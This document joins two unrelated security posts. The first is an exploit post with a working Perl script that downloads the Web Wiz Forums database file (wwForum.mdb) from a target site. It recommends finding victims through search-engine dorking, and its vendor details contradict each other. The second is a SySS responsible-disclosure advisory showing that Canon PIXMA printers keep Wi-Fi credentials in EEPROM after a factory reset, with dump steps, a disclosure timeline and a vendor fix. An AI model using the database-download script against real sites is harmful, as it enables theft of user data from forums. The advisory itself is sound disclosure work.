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<pre><code>==================================================================================================================================== | # Title : Web Wiz Forums 12.06 Database Disclosure Exploit | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 108.0(32-bit) | | # Vendor : https://codecanyon.net/ | ==================================================================================================================================== poc : [-] Download the database: The following Perl exploit will attempt to download the (database/wwForum.mdb ) file The (database/wwForum.mdb) It is the database and contains all the data . [+] Dorking İn Google Or Other Search Enggine. [+] save code as perl file : poc.pl [+] code : #!/usr/bin/perl -w # # Web Wiz Forums 12.06 Database Disclosure Exploit # # Author : indoushka # # Vondor : ToastForums.com use LWP::Simple; use LWP::UserAgent; system('cls'); print ('Web Wiz Forums 12.06 Database Disclosure Exploit'); system('color a'); if(@ARGV < 2) { print "[-]How To Use\n\n"; &help; exit(); } sub help() { print "[+] usage1 : perl $0 site.com /path/ \n"; print "[+] usage2 : perl $0 localhost / \n"; } ($TargetIP, $path, $File,) = @ARGV; $File="database/wwForum.mdb"; my $url = "http://" . $TargetIP . $path . $File; print "\n Fuck you wait!!! \n\n"; my $useragent = LWP::UserAgent->new(); my $request = $useragent->get($url,":content_file" => "D:/database/wwForum.mdb"); if ($request->is_success) { print "[+] $url Exploited!\n\n"; print "[+] Database saved to D:/database/wwForum.mdb\n"; exit(); } else { print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n"; exit(); } Greetings to :================================================================= jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R | =============================================================================== </code></pre>

<pre><code>Advisory ID: SYSS-2023-011 Product: PIXMA TR4550 Manufacturer: Canon Affected Version(s): 1.020 / 1.080 also affects many other Canon inkjet printer models[4] Tested Version(s): 1.020 / 1.080 Vulnerability Type: Insufficient or Incomplete Data Removal within Hardware Component (CWE-1301) Insufficiently Protected Credentials (CWE-522) Risk Level: Low Solution Status: Fixed Manufacturer Notification: 2023-04-06 Solution Date: 2023-07-31 Public Disclosure: 2023-08-03 CVE Reference: No CVE ID from Canon PSIRT Author of Advisory: Manuel Stotz, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: The Canon PIXMA TR4550 is an entry-level 4-in-1 printer equipped with Wi-Fi connectivity. The manufacturer describes the product as follows (see [1]): "Ready to adapt to your smart home office environment, this efficient 4-In-One printer requires minimal space but gives maximum support to your projects. Whether scanning a document, copying an ID, faxing an invoice or printing posters, PIXMA TR4550 has the functionality to keep up with your business needs. Equipped with smart Wi-Fi connectivity to optimise management of functions and features, this front-loading 4-In-One printer is the compact solution that saves space, streamlines ink usage and brings productivity to the forefront." The unprotected storage of credentials and insufficient data removal during a factory reset allows sensitive data to be read out afterward. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The Canon PIXMA TR4550 stores sensitive data, such as the SSID and the Wi-Fi pre-shared key (PSK), unencrypted in its persistent storage (EEPROM). Resetting the product to factory settings (via 'Setup', 'Device settings', 'Reset setting' and 'All data') does not securely delete this sensitive information. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): SySS could successfully perform a proof-of-concept attack via the following steps: * Configure and establish a Wi-Fi connection. * Reset all data (Setup, Device settings, Reset setting, All data). * Disassemble the printer and locate the EEPROM on the PCB. * Create an EEPROM memory dump. * Search and locate the configured SSID and PSK in the memory dump. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: Canon PSIRT published its security advisory "Vulnerability Mitigation/Remediation for Inkjet Printers (Home and Office/Large Format)" (CP2023-003)[3] describing how sensitive information should be deleted concerning the affected printers[5]. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2023-04-06: Vulnerability reported to manufacturer 2023-04-12: Canon PSIRT creates ticket 2023-04-27: Update from Canon concerning ongoing analysis 2023-05-15: Canon confirms security issue 2023-05-23: Agreement on public disclosure date 2023-07-17: Canon PSIRT informs about scheduled publication of their security advisory 2023-07-31: Canon PSIRT publishes their security advisory "Vulnerability Mitigation/Remediation Format Inkjet Printers (Home and Office/Large Format)" (CP2023-003)[3] 2023-08-03: Public release of SySS security advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] Product website for Canon PIXMA TR4550 https://www.canon-europe.com/support/consumer/products/printers/pixma/tr-series/pixma-tr4550.html [2] SySS Security Advisory SYSS-2023-011 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2023-011.txt [3] CP2023-003 Vulnerability Mitigation/Remediation for Inkjet Printers (Home and Office/Large Format) https://psirt.canon/advisory-information/cp2023-003/ [4] List of affected printers https://canon.a.bigcontent.io/v1/static/affected-models_20230731_d04c0d9895124b65acd21ca68357dcdc [5] SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Manuel Stotz of SySS GmbH. E-Mail: manuel.stotz (at) syss.de Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Manuel_Stotz.asc Key Fingerprint: F051 5B74 7E70 193E 7F66 0133 E790 F68A BCE6 8C6D ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: http://creativecommons.org/licenses/by/3.0/deed.en </code></pre>